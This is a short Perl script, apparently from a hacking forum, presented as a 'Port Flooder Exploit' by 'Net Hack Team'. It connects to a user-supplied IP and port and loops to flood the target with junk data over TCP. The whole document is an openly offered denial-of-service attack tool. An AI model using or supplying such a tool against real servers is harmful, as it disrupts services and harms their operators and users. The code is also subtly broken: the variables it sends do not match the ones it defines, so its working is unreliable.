Port Flooder Exploit

use IO::Socket;

if (@ARGV < 2)
{
print "#############################################\n";
print " - [ N H T ] -\n";
print " - [ Net Hack Team ] -\n";
print " - [ N H T ] -\n";
print " - [ Net Hack Team ] -\n";
print " - [ N H T ] -\n";
print " - [ Net Hack Team ] -\n";
print " flood\n";
print " by Net Hack Team\n";
print " Make Flood : 11.11.11.11 80\n";
print "#############################################n";
print " Using:\n";
print " flood.pl \n";
print " Created by: Net Hack Team\n";
print " - 11.11.11.11\n";
print " - 80\n";
print "#############################################";
exit();
}

$server = $ARGV[0];
$port = $ARGV[1];
$thrash = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa1337fucker";
$trasht = "\n\n\n\n\n\n\n\n\n\n\n\n";
$first = 666;
$second = 66;
$third = 666;

print "\n";
print "Target is: $server and Port is: $port\n";
print "\n";
$i = 0;
$j = 0;
$h = 0;
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") ||
die "[-] Not Connected... Wrong...\n";
print "[*] Connected\n";
print "[*] In Attack...\n";
for($h=0;$h<=$first;$h=$h+1) {
for($j=0;$j<=$second;$j=$j+1) {
for($i=0;$i<=$third;$i=$i+1)
{
print $socket "$trash";
print $socket "$thrasht";
}
print $socket "\n";
}
}__________________